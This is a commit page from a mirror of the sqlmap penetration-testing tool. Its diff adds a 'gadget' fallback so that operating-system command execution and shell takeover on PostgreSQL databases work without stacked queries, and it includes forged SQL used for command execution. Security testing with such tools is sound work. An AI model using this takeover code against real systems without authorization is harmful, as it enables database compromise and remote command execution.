CERBERUS/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2026-11-15 12:29:56 +00:00
Code Issues Projects Releases Packages Wiki Activity Actions

Adding gadget fallback for non-query statement execution without stacked queries (PostgreSQL dblink)

Browse source
This commit is contained in:
Miroslav Štampar 2026-08-18 11:35:54 +02:00
parent 8a3b312950
commit 529fc7aebb
7 changed files with 58 additions and 3 deletions
Download patch file Download diff file Expand all files Collapse all files

2
plugins/dbms/postgresql/takeover.py
View file

@ -102,7 +102,7 @@ class Takeover(GenericTakeover):
def copyExecCmd(self, cmd):
output = None
if isStackingAvailable() or conf.direct:
if isStackingAvailable() or conf.direct or inject.getGadget():
# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)

2
plugins/generic/custom.py
View file

@ -71,7 +71,7 @@ class Custom(object):
output[i] = joinValue(output[i])
return output
elif not isStackingAvailable() and not conf.direct:
elif not isStackingAvailable() and not conf.direct and not inject.getGadget():
warnMsg = "execution of non-query SQL statements is only "
warnMsg += "available when stacked queries are supported"
logger.warning(warnMsg)

5
plugins/generic/takeover.py
View file

@ -27,6 +27,7 @@ from lib.core.exception import SqlmapNotVulnerableException
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUndefinedMethod
from lib.core.exception import SqlmapUnsupportedDBMSException
from lib.request import inject
from lib.takeover.abstraction import Abstraction
from lib.takeover.icmpsh import ICMPsh
from lib.takeover.metasploit import Metasploit
@ -46,6 +47,8 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
def osCmd(self):
if isStackingAvailable() or conf.direct:
web = False
elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
web = False
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
infoMsg = "going to use a web backdoor for command execution"
logger.info(infoMsg)
@ -68,6 +71,8 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
def osShell(self):
if isStackingAvailable() or conf.direct:
web = False
elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
web = False
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
infoMsg = "going to use a web backdoor for command prompt"
logger.info(infoMsg)